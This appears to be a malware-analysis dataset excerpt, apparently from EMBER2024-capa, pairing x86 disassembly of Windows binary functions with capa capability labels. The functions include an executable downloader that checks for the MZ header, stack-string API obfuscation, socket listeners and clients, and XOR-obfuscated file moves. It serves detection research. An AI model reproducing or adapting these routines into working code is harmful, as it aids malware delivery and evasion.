joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41e974
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
push 0x9c
push 0
lea eax, [ebp - 0x9c]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x9c], 0x9c
lea ecx, [ebp - 0x9c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x41e9cd
mov dword [ebp - 0x9c], 0x94
lea edx, [ebp - 0x9c]
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x41e9cd
xor eax, eax
jmp 0x41e9eb
cmp dword [ebp - 0x98], 5
jne 0x41e9e6
cmp dword [ebp - 0x94], 0
jne 0x41e9e6
call fcn.0041e791
jmp 0x41e9eb
call fcn.0041e72e
mov esp, ebp
pop ebp
ret

Function at 0x41ebfd
Capabilities:
Simulate ctrl alt del

Disassembly:
push ebp
mov ebp, esp
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
mov dword [ebp - 4], eax
push 0x404164
call fcn.0041eb76
add esp, 4
test eax, eax
jne 0x41ec26
xor eax, eax
jmp 0x41ec54
push 0x2e0003
push 0
push 0x312
push 0xffff
call dword [sym.imp.USER32.dll_PostMessageA]
cmp dword [ebp - 4], 0
je 0x41ec4f
mov eax, dword [ebp - 4]
push eax
call fcn.0041eaf2
add esp, 4
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x41ec58
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov dword [ebp - 0x41c], 0
mov dword [ebp - 0x414], 0
mov dword [ebp - 8], 1
mov dword [ebp - 4], 1
push 0
push 0
push 0
push 0
push 0x404170
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x410], eax
cmp dword [ebp - 0x410], 0
jne 0x41ecac
xor al, al
jmp 0x41edbf
push 0
push bind
push 0
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x410]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x41ecd8
xor al, al
jmp 0x41edbf
push 0
push 0
push 2
push 0
push 0
push 0x40000000
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x418], 0xffffffff
je 0x41ed9f
push 0x400
push 0
lea eax, [ebp - 0x40c]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x41c]
push ecx
push 0x400
lea edx, [ebp - 0x40c]
push edx
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
cmp dword [ebp - 8], 0
je 0x41ed5a
mov ecx, dword [ebp - 0x40c]
and ecx, 0xffff
cmp ecx, 0x5a4d
je 0x41ed5a
mov dword [ebp - 4], 0
jmp 0x41ed92
mov dword [ebp - 8], 0
push 0
lea edx, [ebp - 0x414]
push edx
mov eax, dword [ebp - 0x41c]
push eax
lea ecx, [ebp - 0x40c]
push ecx
mov edx, dword [ebp - 0x418]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 0x41c], 0
ja 0x41ed04
mov eax, dword [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [ebp - 0x410]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
cmp dword [ebp - 4], 0
setne al
mov esp, ebp
pop ebp
ret
Function at 0x41eed0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x405994
mov byte [ebp - 0x14], 0x43
mov byte [ebp - 0x13], 0x72
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0x61
mov byte [ebp - 0x10], 0x74
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x45
mov byte [ebp - 0xd], 0x76
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x6e
mov byte [ebp - 0xa], 0x74
mov byte [ebp - 9], 0x41
mov byte [ebp - 8], 0
lea ecx, [ebp - 0x14]
push ecx
push 0x404214
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
push 0x404224
push 0x40423c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x18], eax
push 0
push 0
push 0
push 0
call dword [ebp - 4]
mov edx, dword [ebp - 0x1c]
mov dword [edx + 4], eax
mov eax, dword [ebp - 0x1c]
mov dword [eax + 8], 0
mov ecx, dword [ebp - 0x1c]
mov dword [ecx + 0xc], 0
call fcn.0041f338
and eax, 0xff
test eax, eax
je 0x41ef88
xor edx, edx
mov dl, byte [0x42a3ec]
test edx, edx
je 0x41ef8a
jmp 0x41efdb
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push bind
push 0x42a3f0
push 0x40424c
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx + 0x10], eax
push 0
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx + 0x10]
push eax
push 0
push 0
push 0
push 0
push 0x50000000
push 0x404254
call dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx + 0x14], eax
mov eax, dword [ebp - 0x1c]
mov esp, ebp
pop ebp
ret
Function at 0x41efe2
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x20]
mov dword [eax], 0x405994
mov byte [ebp - 0x14], 0x43
mov byte [ebp - 0x13], 0x6c
mov byte [ebp - 0x12], 0x6f
mov byte [ebp - 0x11], 0x73
mov byte [ebp - 0x10], 0x65
mov byte [ebp - 0xf], 0x48
mov byte [ebp - 0xe], 0x61
mov byte [ebp - 0xd], 0x6e
mov byte [ebp - 0xc], 0x64
mov byte [ebp - 0xb], 0x6c
mov byte [ebp - 0xa], 0x65
mov byte [ebp - 9], 0
lea ecx, [ebp - 0x14]
push ecx
push 0x404260
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
push 0x404270
push 0x40427c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
xor edx, edx
mov dl, byte [0x42a3ec]
test edx, edx
je 0x41f110
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax + 0x14]
push ecx
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x41f093
push 0
push 0
push 0x445
mov edx, dword [ebp - 0x20]
mov eax, dword [edx + 0x14]
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
mov dword [ebp - 0x24], eax
jmp 0x41f09a
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x20]
mov edx, dword [ecx + 0x14]
push edx
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x41f0c6
push 0
push 0
push 0x40b
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax + 0x14]
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov dword [ebp - 0x28], eax
jmp 0x41f0cd
mov dword [ebp - 0x28], 0
mov edx, dword [ebp - 0x20]
cmp dword [edx + 8], 0
je 0x41f0eb
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax + 8]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
push edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, dword [ebp - 0x20]
cmp dword [eax + 0xc], 0
je 0x41f109
mov ecx, dword [ebp - 0x20]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov byte [0x42a3ec], 0
mov ecx, dword [ebp - 0x20]
mov edx, dword [ecx + 0x14]
push edx
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x41f13c
push 0
push 0
push 0x402
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax + 0x14]
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov dword [ebp - 0x2c], eax
jmp 0x41f143
mov dword [ebp - 0x2c], 0
mov edx, dword [ebp - 0x20]
mov eax, dword [edx + 0x14]
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x41f16f
push 0
push 0
push 0x405
mov ecx, dword [ebp - 0x20]
mov edx, dword [ecx + 0x14]
push edx
call dword [sym.imp.USER32.dll_SendMessageA]
mov dword [ebp - 0x30], eax
jmp 0x41f176
mov dword [ebp - 0x30], 0
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax + 0x10]
push ecx
call dword [ebp - 8]
mov edx, dword [ebp - 0x20]
mov eax, dword [edx + 0x14]
push eax
call dword [ebp - 8]
mov ecx, dword [ebp - 0x20]
mov edx, dword [ecx + 4]
push edx
call dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x41f26d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 0x20], ecx
mov byte [ebp - 0x1c], 0x57
mov byte [ebp - 0x1b], 0x61
mov byte [ebp - 0x1a], 0x69
mov byte [ebp - 0x19], 0x74
mov byte [ebp - 0x18], 0x46
mov byte [ebp - 0x17], 0x6f
mov byte [ebp - 0x16], 0x72
mov byte [ebp - 0x15], 0x53
mov byte [ebp - 0x14], 0x69
mov byte [ebp - 0x13], 0x6e
mov byte [ebp - 0x12], 0x67
mov byte [ebp - 0x11], 0x6c
mov byte [ebp - 0x10], 0x65
mov byte [ebp - 0xf], 0x4f
mov byte [ebp - 0xe], 0x62
mov byte [ebp - 0xd], 0x6a
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x63
mov byte [ebp - 0xa], 0x74
mov byte [ebp - 9], 0
lea eax, [ebp - 0x1c]
push eax
push 0x4042a4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x20]
mov edx, dword [ecx + 0x14]
push edx
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x41f30b
push 0
push 0
push 0x43d
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax + 0x14]
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov dword [ebp - 0x24], eax
jmp 0x41f312
mov dword [ebp - 0x24], 0
push 0xbb8
mov edx, dword [ebp - 0x20]
mov eax, dword [edx + 4]
push eax
call dword [ebp - 8]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x41f332
mov ecx, dword [ebp - 0x20]
mov eax, dword [ecx + 0xc]
jmp 0x41f334
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x41f8d3
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x427b3c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov dword [eax], 0x405998
mov dword [ebp - 4], 0
mov byte [ebp - 0x20], 0x43
mov byte [ebp - 0x1f], 0x6c
mov byte [ebp - 0x1e], 0x6f
mov byte [ebp - 0x1d], 0x73
mov byte [ebp - 0x1c], 0x65
mov byte [ebp - 0x1b], 0x48
mov byte [ebp - 0x1a], 0x61
mov byte [ebp - 0x19], 0x6e
mov byte [ebp - 0x18], 0x64
mov byte [ebp - 0x17], 0x6c
mov byte [ebp - 0x16], 0x65
mov byte [ebp - 0x15], 0
lea ecx, [ebp - 0x20]
push ecx
push 0x4042e0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x14], eax
push 0x4042f0
push 0x404304
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x24], eax
push 0x404314
push 0x404328
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10], eax
push 0
mov edx, dword [ebp - 0x28]
add edx, 0x10
push edx
call dword [ebp - 0x10]
push 0xffffffffffffffff
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax + 0x2c]
push ecx
call dword [ebp - 0x24]
mov edx, dword [ebp - 0x28]
mov eax, dword [edx + 0x2c]
push eax
call dword [ebp - 0x14]
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x28]
call fcn.00410865
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x41fda8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 0x20], ecx
mov byte [ebp - 0x1c], 0x57
mov byte [ebp - 0x1b], 0x61
mov byte [ebp - 0x1a], 0x69
mov byte [ebp - 0x19], 0x74
mov byte [ebp - 0x18], 0x46
mov byte [ebp - 0x17], 0x6f
mov byte [ebp - 0x16], 0x72
mov byte [ebp - 0x15], 0x53
mov byte [ebp - 0x14], 0x69
mov byte [ebp - 0x13], 0x6e
mov byte [ebp - 0x12], 0x67
mov byte [ebp - 0x11], 0x6c
mov byte [ebp - 0x10], 0x65
mov byte [ebp - 0xf], 0x4f
mov byte [ebp - 0xe], 0x62
mov byte [ebp - 0xd], 0x6a
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x63
mov byte [ebp - 0xa], 0x74
mov byte [ebp - 9], 0
lea eax, [ebp - 0x1c]
push eax
push 0x404384
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
push 0x404394
push 0x4043a8
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
push 0
mov ecx, dword [ebp - 0x20]
add ecx, 0x10
push ecx
call dword [ebp - 4]
push 0xffffffffffffffff
mov edx, dword [ebp - 0x20]
mov eax, dword [edx + 0x2c]
push eax
call dword [ebp - 8]
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp + 8]
mov dword [ecx + 0x20], edx
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp + 0xc]
mov dword [eax + 0x24], ecx
push 1
mov edx, dword [ebp - 0x20]
add edx, 0x10
push edx
call dword [ebp - 4]
push 1
push 0
push 0
mov eax, dword [ebp - 0x20]
push eax
push 0x41fc06
push 0
push 0
call fcn.0041e612
add esp, 0x1c
mov ecx, dword [ebp - 0x20]
mov dword [ecx + 0x2c], eax
mov esp, ebp
pop ebp
ret 8
Function at 0x4203df
Capabilities:
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 0
lea ecx, [ebp - 4]
push ecx
push 0x8004667e
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp dword [ebp - 0x10], 0
jle 0x420448
push 0
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jg 0x420434
jmp 0x420448
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 8]
mov dword [ebp - 0x10], ecx
jmp 0x42040c
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x4206d2
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x4206f1
xor eax, eax
jmp 0x420738
mov word [ebp - 0x14], 2
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov cx, word [ebp + 0xc]
push ecx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
push 0x10
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x420723
jmp 0x420736
mov eax, dword [ebp - 4]
jmp 0x420738
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x420738
jmp 0x420728
mov esp, ebp
pop ebp
ret

Function at 0x420759
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x42077b
xor eax, eax
jmp 0x420800
mov word [ebp - 0x14], 0
xor eax, eax
mov dword [ebp - 0x12], eax
mov dword [ebp - 0xe], eax
mov dword [ebp - 0xa], eax
mov word [ebp - 6], ax
mov word [ebp - 0x14], 2
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x10], ecx
mov dx, word [ebp + 0xc]
push edx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
push 0x10
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x4207c2
jmp 0x4207fe
push 3
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WS2_32.dll_listen]
mov eax, dword [0x42b400]
add eax, 1
mov dword [0x42b400], eax
mov ecx, dword [0x42b400]
mov edx, dword [ebp - 4]
mov dword [ecx*4 + 0x42a400], edx
mov eax, dword [ebp - 4]
jmp 0x420800
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x420800
jmp 0x4207f0
mov esp, ebp
pop ebp
ret

Function at 0x420804
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov word [ebp - 0x18], 0
xor eax, eax
mov dword [ebp - 0x16], eax
mov dword [ebp - 0x12], eax
mov dword [ebp - 0xe], eax
mov word [ebp - 0xa], ax
mov dword [ebp - 8], 0x10
push 0
push 0
call fcn.00420759
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
ja 0x42083d
jmp 0x42087c
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WS2_32.dll_getsockname]
cmp eax, 0xffffffff
jne 0x420856
jmp 0x42087a
mov cx, word [ebp - 0x16]
push ecx
call dword [sym.imp.WS2_32.dll_ntohs]
mov edx, dword [ebp + 8]
mov word [edx], ax
mov eax, dword [ebp - 4]
jmp 0x42087e
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x42087e
jmp 0x42086c
jmp 0x42086c
mov esp, ebp
pop ebp
ret
Function at 0x420b3c
Capabilities:
Create thread
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x427b92
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x1048
call fcn.00426f20
mov dword [ebp - 0x1054], ecx
lea ecx, [ebp - 0x1040]
call fcn.004212c0
mov dword [ebp - 4], 0
mov eax, dword [ebp + 0x10]
push eax
push 0x4043bc
push 0x20
lea ecx, [ebp - 0x103c]
push ecx
call sub.MSVCRT.dll__snprintf
add esp, 0x10
mov dx, word [ebp + 0x14]
mov word [ebp - 0x101c], dx
mov ax, word [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.0042073c
add esp, 8
mov dword [ebp - 0x1048], eax
cmp dword [ebp - 0x1048], 0
ja 0x420bc0
jmp 0x420c8e
mov edx, dword [ebp - 0x1048]
mov dword [ebp - 0x1018], edx
xor eax, eax
mov al, byte [0x42c408]
test eax, eax
je 0x420c8e
push 0
push 2
lea ecx, [ebp - 0x104c]
push ecx
mov edx, dword [ebp - 0x1048]
push edx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jg 0x420c01
jmp 0x420c8e
mov eax, dword [0x42b404]
add eax, 1
mov dword [0x42b404], eax
mov cx, word [ebp - 0x104c]
push ecx
lea ecx, [ebp - 0x1014]
call fcn.004211a0
lea edx, [ebp - 0x1044]
push edx
push 0
lea eax, [ebp - 0x1040]
push eax
push 0x420a91
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [0x42c40c]
add ecx, 1
mov dword [0x42c40c], ecx
mov edx, dword [0x42c40c]
mov dword [edx*4 + 0x42b408], eax
mov eax, dword [0x42c40c]
cmp dword [eax*4 + 0x42b408], 0
je 0x420c81
mov ecx, dword [0x42c40c]
mov edx, dword [ecx*4 + 0x42b408]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x420c89
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x420bcc
mov eax, dword [ebp - 0x1048]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [ebp - 0x1050], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1040]
call fcn.00421300
mov eax, dword [ebp - 0x1050]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x421017
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
mov dword [ebp - 0x84], ecx
mov byte [0x42c408], 0
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x42b400], 0
je 0x42108a
mov eax, dword [0x42b400]
push eax
push 0x4043c0
lea ecx, [ebp - 0x80]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov edx, dword [0x42b400]
cmp dword [edx*4 + 0x42a400], 0xffffffff
je 0x421079
mov eax, dword [0x42b400]
mov ecx, dword [eax*4 + 0x42a400]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov edx, dword [0x42b400]
sub edx, 1
mov dword [0x42b400], edx
jmp 0x421035
cmp dword [0x42c40c], 0
je 0x4210d2
mov eax, dword [0x42c40c]
cmp dword [eax*4 + 0x42b408], 0xffffffff
je 0x4210c3
push 0
mov ecx, dword [0x42c40c]
mov edx, dword [ecx*4 + 0x42b408]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0x42b408
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x42c40c]
sub eax, 1
mov dword [0x42c40c], eax
jmp 0x42108a
mov dword [0x42c40c], 0
mov dword [0x42b400], 0
mov byte [0x42c408], 1
mov esp, ebp
pop ebp
ret
Function at 0x10004192
Capabilities:
Encode data using xor
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ecx
mov edx, dword [0x10007757]
sub edx, 0x74012126
mov dword [ebp - 0x1c], edx
mov edx, dword [ebp - 0x20]
and edx, ecx
mov dword [0x1000b295], edx
mov dword [ebp - 0x28], 0x9e9b3214
mov eax, dword [ebp - 0x1c]
sub eax, 0x20948b1f
push eax
mov word [ebp - 0x20], 0x624d
push str.fvmo760Xb
mov word [ebp - 0x20], 0x5adb
push 0x1002b5c0
mov dword [ebp - 8], edx
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
cmp dword [ebp + 8], 0
mov dword [ebp - 0x10], edx
je 0x100042ee
mov dword [ebp - 0x20], 0x48bb68b7
mov edx, dword [ebp - 0x1c]
add edx, 0xdf6b74e8
mov dword [0x1000b334], edx
mov ecx, dword [ebp - 0x1c]
sub ecx, 0x20948b26
push ecx
mov dword [ebp - 0x10], eax
push str.c:OaP2mdqX_fwsn0HlVy
mov byte [ebp - 0x20], 0xed
mov edx, dword [ebp - 8]
xor edx, dword [0x10007753]
mov dword [ebp - 8], edx
push 0x100076c6
mov word [ebp - 0x10], 0x493d
mov dword [ebp - 0x18], eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
mov eax, dword [0x1000b334]
mov edx, dword [0x10007753]
add edx, 0x6d3d6240
sub eax, edx
mov byte [ebp - 0x20], 0xca
mov dword [0x1000b334], eax
mov edx, dword [ebp - 0x1c]
sub edx, 0x20948b27
cmp dword [0x1000b334], edx
mov word [ebp - 0x18], 0xae3b
jg 0x10004205
mov eax, dword [0x10007753]
cmp eax, dword [ebp - 0x1c]
je 0x100042cc
mov edx, dword [0x10007753]
sub edx, 0x92c29dc2
mov dword [ebp - 4], edx
jmp 0x100042a0
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x1c]
sub edx, 0x20948b26
add ecx, edx
mov word [ebp - 0x10], 0x8c51
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x1c]
add edx, 0xdf6cfb79
cmp dword [ebp - 4], edx
jae 0x100042cc
mov ecx, dword [ebp - 0x28]
call fcn.10002d80
mov ecx, dword [ebp - 0x1c]
sub ecx, 0xf06f
cmp ecx, dword [0x10007757]
je 0x10004278
jmp 0x10004289
mov byte [ebp - 0x28], 0x72
mov edx, dword [ebp + 8]
mov ecx, dword [0x10007757]
add ecx, 0x6b6a53b4
sub edx, ecx
push edx
call fcn.10004192
add esp, 4
mov byte [ebp - 0x28], 0xb8
mov esp, ebp
pop ebp
ret
Function at 0x42e1f8
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop ebx
push ebx
call 0x42e20d
add byte [ebx + 0x44], al
dec ecx
cmp cl, byte [ebx + 0x32]
cmp dword [eax + ecx*2], esi
dec ebx
add esp, 4
and ebx, 0xa09f
xor ebx, 0x8384
pop ebx
mov ecx, dword [ebp - 0xc0]
mov dword [ebp - 0x118], ecx
jmp 0x42e2c8

Function at 0x42e20d
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop ebx
push ebx
call 0x42e20d
add byte [ebx + 0x44], al
dec ecx
cmp cl, byte [ebx + 0x32]
cmp dword [eax + ecx*2], esi
dec ebx
add esp, 4
and ebx, 0xa09f
xor ebx, 0x8384
pop ebx
mov ecx, dword [ebp - 0xc0]
mov dword [ebp - 0x118], ecx
jmp 0x42e2c8

Function at 0x42e29d
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
or eax, 0x122d
pop eax
push edi
push esi
add esp, 4
and edi, 0x8fed
add edi, 0x75b2
jmp 0x42e2bd
pop edi
mov dword [ebp - 0x118], 0
Function at 0x42e69b
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
and edx, 0x8aaa
pop edx
mov edx, dword [ebp - 0x120]
mov eax, dword [ebp - 0x48c]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x124], ecx
push esi
xor esi, 0xf007
xor esi, 0x6e76
xor esi, 0x1192d
pop esi
push edi
or edi, 0x5545
call 0x42e644
add byte [edi + 0x4c], cl
aaa
cmp byte [edx], bh
xor eax, 0x4c48347
add edi, 0x1136a
pop edi
mov edx, dword [ebp - 0x120]
mov eax, dword [ebp - 0x490]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x494]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x498], eax
push ebx
or ebx, 0x1261a
xor ebx, 0x120fd
pop ebx
push eax
push eax
add esp, 4
add eax, 0x12181
call 0x42e69b
add byte [ebx], bh
inc ebx
cmp dl, byte ss:[eax + 0x43]
aas
inc ebx
cmp byte [ebx - 0x377efb3c], al
sbb byte [edx], ah
add byte [eax - 0x39], bl
inc ebp
aam 0
add byte [eax], al
add bl, ch
or dword [ebx - 0x3e7c2bb3], ecx
add dword [ecx - 0x6a742bb3], ecx
fdiv st(6), st(0)
invalid